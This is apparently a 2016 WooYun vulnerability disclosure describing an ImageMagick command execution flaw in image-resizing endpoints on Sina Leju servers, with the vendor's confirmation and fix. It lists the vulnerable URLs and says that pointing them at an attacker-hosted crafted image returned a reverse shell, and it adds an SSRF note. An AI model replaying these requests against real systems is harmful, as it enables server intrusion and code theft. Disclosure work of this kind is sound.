漏洞概要
关注数(24)
关注此漏洞
漏洞标题:新浪乐居某服务器的两处命令执行可shell
提交时间:2016-05-08 17:34
修复时间:2016-06-22 20:40
公开时间:2016-06-22 20:40
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2016-05-08: 细节已通知厂商并且等待厂商处理中
2016-05-08: 厂商已经确认,细节仅向厂商公开
2016-05-18: 细节向核心白帽子及相关领域专家公开
2016-05-28: 细节向普通白帽子公开
2016-06-07: 细节向实习白帽子公开
2016-06-22: 细节向公众公开
简要描述:
新浪乐居某服务器的两处命令执行,可影响乐居多个重要站点,包括主站
详细说明:
存在漏洞的连接为:
http://supports.house.sina.com.cn/bbs/img.php?w=140&h=105&m=1&url=http://img2.3lian.com/img2007/19/33/005.jpg
这是一个把远程图片剪切大小的连接,存在ImageMagick 命令执行漏洞
把远程的url地址换成自己服务器的图片,访问:
http://supports.house.sina.com.cn/bbs/img.php?w=140&h=105&m=1&url=http://101.200.**.**/out.jpg&dpc=1
修改out.jpg
然后再访问http://supports.house.sina.com.cn/bbs/img.php?w=140&h=105&m=1&url=http://101.200.**.**/out.jpg&dpc=1
反弹一个shell回来了
漏洞证明:
这个服务器简单看了下,是乐居一个重要的服务器,放了乐居的各种网站都在上面
这些网站的源代码全部可读,其中乐居主站目录为:/data1/vhosts/www.leju.com/htdocs
view-source:index.php
另外的一处命令执行为
http://supports.jiaju.sina.com.cn/api/img_publish.php?dpc=1&w=96&h=96&m=0&s=http://101.200.**.**/out.jpg 类似的就不重复提交了。
修复方案:
1 修复ImageMagick漏洞
2 那两个连接还存在SSRF一起修复下吧。
版权声明:转载请注明来源 李长歌@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2016-05-08 20:34
厂商回复:
非常感谢您对乐居的关注,我们已经对该项目进行处理,请测试
最新状态:
暂无
漏洞评价:
评价